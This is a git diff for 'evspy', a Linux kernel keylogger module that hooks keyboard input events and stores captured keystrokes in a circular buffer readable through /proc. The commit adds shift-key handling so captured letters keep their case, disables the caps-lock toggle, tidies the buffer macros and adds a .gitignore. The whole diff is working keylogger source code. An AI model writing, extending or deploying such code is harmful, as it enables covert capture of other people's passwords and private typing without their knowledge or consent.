diff options
| -rw-r--r-- | .gitignore | 6 | ||||
| -rw-r--r-- | evspy.c | 21 | ||||
| -rw-r--r-- | evspy.h | 41 |
3 files changed, 43 insertions, 25 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ec70db6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +*.o* +*.ko* +*.mod.* +Module.symvers +modules.order +.tmp_versions @@ -38,7 +38,8 @@ static char *buffer; // circular buffer static char *rdp; // read pointer static char *wrp; // write pointer static char *map = EVS_MAP; // current keyboard layout -static unsigned int capslock_state = EVS_VAL_FREE; +static unsigned short int capslock_state = EVS_VAL_FREE; +static unsigned short int shift = 0; // This is how special keys will be displayed (+: pressed / -: freed) static char sp_tag[] = "<+XXX>"; @@ -121,8 +122,10 @@ static void special_char(unsigned int code, unsigned int value) switch(code) { case KEY_RIGHTSHIFT: case KEY_LEFTSHIFT: - strncpy(sp_tag+2, "SFT", 3); - break; + shift = !shift; + return; +// strncpy(sp_tag+2, "SFT", 3); +// break; case KEY_LEFTALT: strncpy(sp_tag+2, "ALT", 3); break; @@ -178,7 +181,7 @@ static void evspy_event(struct input_handle *handle, unsigned int type, // If caps lock is pressed, handle it the same way as left shift if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) { - capslock_state = !capslock_state; +// capslock_state = !capslock_state; special_char(KEY_LEFTSHIFT, capslock_state); return; } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) { @@ -186,12 +189,16 @@ static void evspy_event(struct input_handle *handle, unsigned int type, } // Special/unknown keys (alt, ctrl, esc, shift, etc) - if (map[code] == '.' && likely(code != KEY_DOT)) + if (map[code] == '.' && likely(code != KEY_DOT)) { special_char(code, value); // "Direct" keys (alphanumeric + some symbols) - else if (value == EVS_VAL_PRESS) - evs_insert(map[code]); + } else if (value == EVS_VAL_PRESS) { + if (shift) + evs_insert(evs_shift(map[code])); + else + evs_insert(map[code]); + } } static int evspy_connect(struct input_handler *handler, struct input_dev *dev, @@ -2,11 +2,11 @@ #include <linux/input.h> #include "maps.h" -#define EVS_NAME "evspy" // driver name -#define EVS_MAP map_es // change this to your keyboard layout -#define EVS_TROLL 1 // clear this if you're a serious guy -#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) -#define EVS_PROCNAME "driver/" EVS // virtual file within /proc +#define EVS_NAME "evspy" // driver name +#define EVS_MAP map_es // change this to your keyboard layout +#define EVS_TROLL 1 // clear this if you're a serious guy +#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) +#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc #define MIN(x, y) (x) < (y) ? (x) : (y) @@ -16,11 +16,11 @@ */ #define evs_incp(p) \ ({ \ - if (p == &buffer[EVS_BUFSIZE-1]) \ - p = buffer; \ + if ((p) == &buffer[EVS_BUFSIZE-1]) \ + (p) = buffer; \ else \ - p++; \ - p; \ + (p)++; \ + (p); \ }) /* @@ -28,11 +28,11 @@ */ #define evs_decp(p) \ ({ \ - if (p == buffer) \ - p = &buffer[EVS_BUFSIZE-1]; \ + if ((p) == buffer) \ + (p) = &buffer[EVS_BUFSIZE-1]; \ else \ - p--; \ - p; \ + (p)--; \ + (p); \ }) /* @@ -41,7 +41,7 @@ */ #define evs_insert(c) \ ({ \ - *wrp = c; \ + *wrp = (c); \ if (evs_incp(wrp) == rdp) \ evs_incp(rdp); \ }) @@ -58,11 +58,16 @@ /* * Is the c event code associated to any of the FX buttons? */ -#define evs_isfX(c) \ +#define evs_isfX(c) \ ({ \ - (c >= KEY_F1 && c <= KEY_F10) || \ - (c == KEY_F11 || c == KEY_F12) || \ - (c >= KEY_F13 && c <= KEY_F24); \ + ((c) >= KEY_F1 && (c) <= KEY_F10) || \ + ((c) == KEY_F11 || (c) == KEY_F12) || \ + ((c) >= KEY_F13 && (c) <= KEY_F24); \ +}) + +#define evs_shift(c) \ +({ \ + ((c) >= 'a' && (c) <= 'z') ? (c) + ('A'-'a') : (c); \ }) // Event values |